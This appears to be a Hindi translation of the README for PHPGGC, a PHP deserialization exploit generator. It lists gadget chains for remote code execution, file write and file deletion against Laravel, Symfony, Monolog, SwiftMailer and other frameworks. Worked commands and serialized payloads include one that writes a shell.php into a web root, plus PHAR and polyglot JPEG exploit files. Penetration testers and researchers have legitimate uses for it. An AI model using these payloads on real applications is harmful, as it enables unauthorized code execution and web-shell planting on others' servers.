
PHPGGC PHP unserialize() पेलोड की एक लाइब्रेरी है, साथ ही उन्हें कमांड लाइन या प्रोग्रामेटिक रूप से उत्पन्न करने के लिए एक उपकरण है।
PHPGGC, unserialize() पेलोड्स की एक लाइब्रेरी है, साथ ही इन्हें कमांड लाइन या प्रोग्रामेटिक रूप से उत्पन्न करने का एक टूल भी है। जब आपको किसी ऐसी वेबसाइट पर unserialize मिलता है जिसका कोड आपके पास नहीं है, या केवल एक एक्सप्लॉइट बनाने की कोशिश कर रहे हों, तो यह टूल आपको गैजेट खोजने और उन्हें जोड़ने के थकाऊ चरणों से गुज़ारे बिना पेलोड उत्पन्न करने की सुविधा देता है। इसे frohoff's ysoserial के समकक्ष माना जा सकता है, लेकिन PHP के लिए। वर्तमान में, यह टूल इन गैजेट चेन का समर्थन करता है: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii और ZendFramework।
PHPGGC चलाने के लिए PHP >= 5.6 आवश्यक है।
गैजेट चेन की सूची प्राप्त करने के लिए ./phpggc -l चलाएँ:
$ ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
CodeIgniter4/FR1 4.0.0 <= 4.3.6 File read __toString *
CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE3 4.0.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
Dompdf/FD1 1.1.1 <= ? File delete __destruct *
...
गैजेट चेन फ़िल्टर करें:
$ ./phpggc -l laravel
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
हर गैजेट चेन में होता है:
__destruct(), __toString(), offsetGet(), ...)किसी चेन के बारे में विस्तृत जानकारी पाने के लिए -i का उपयोग करें:
$ ./phpggc -i symfony/rce1
Name : Symfony/RCE1
Version : 3.3
Type : rce
Vector : __destruct
Informations :
Exec through proc_open()
./phpggc Symfony/RCE1 <command>
RCE गैजेट्स के लिए, निष्पादित कमांड में गैजेट के काम करने के तरीके के आधार पर 3 प्रकार के फ़ॉर्मेटिंग हो सकते हैं:
./phpggc Symfony/RCE1 id./phpggc Symfony/RCE2 'phpinfo();'./phpggc Symfony/RCE4 system idएक बार जब आप एक चेन चुन लें, तो पेलोड प्राप्त करने के लिए ./phpggc <gadget-chain> [parameters] चलाएँ।
उदाहरण के लिए, Monolog के लिए पेलोड प्राप्त करने हेतु, आप यह करेंगे:
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
SwiftMailer का उपयोग करके फ़ाइल लिखने के लिए, आप यह करेंगे:
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
--wrapper (-w) विकल्प आपको एक PHP फ़ाइल परिभाषित करने की सुविधा देता है जिसमें निम्नलिखित फ़ंक्शन होते हैं:
process_parameters(array $parameters): generate() से ठीक पहले कॉल किया जाता है, पैरामीटर बदलने की अनुमति देता हैprocess_object(object $object): serialize() से ठीक पहले कॉल किया जाता है, ऑब्जेक्ट बदलने की अनुमति देता हैprocess_serialized(string $serialized): serialize() के ठीक बाद कॉल किया जाता है, सीरियलाइज़्ड स्ट्रिंग बदलने की अनुमति देता हैउदाहरण के लिए, यदि कमज़ोर कोड इस प्रकार दिखता है:
<?php
$data = unserialize($_GET['data']);
print $data['message'];
आप इसे इस प्रकार लपेटते हुए __toString() चेन का उपयोग कर सकते हैं:
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
return array(
'message' => $object
);
}
और आप phpggc को इस प्रकार कॉल करेंगे:
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
BlackHat US 2018 में, @s_n_t ने PHARGGC जारी किया, जो PHPGGC का एक fork है जो सीरियलाइज़्ड पेलोड बनाने के बजाय एक पूरी PHAR फ़ाइल बनाता है। इस PHAR फ़ाइल में सीरियलाइज़्ड डेटा होता है और इस तरह इसका उपयोग विभिन्न शोषण तकनीकों (file_exists, fopen, आदि) के लिए किया जा सकता है। पेपर यहाँ है।
PHAR अभिलेख तीन अलग-अलग प्रारूपों में आते हैं: PHAR, TAR, और ZIP। तीनों को PHPGGC समर्थन करता है।
--phar-jpeg (-pj) का उपयोग करके Polyglot फ़ाइलें उत्पन्न की जा सकती हैं। अन्य विकल्प भी उपलब्ध हैं (-h देखें)।
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id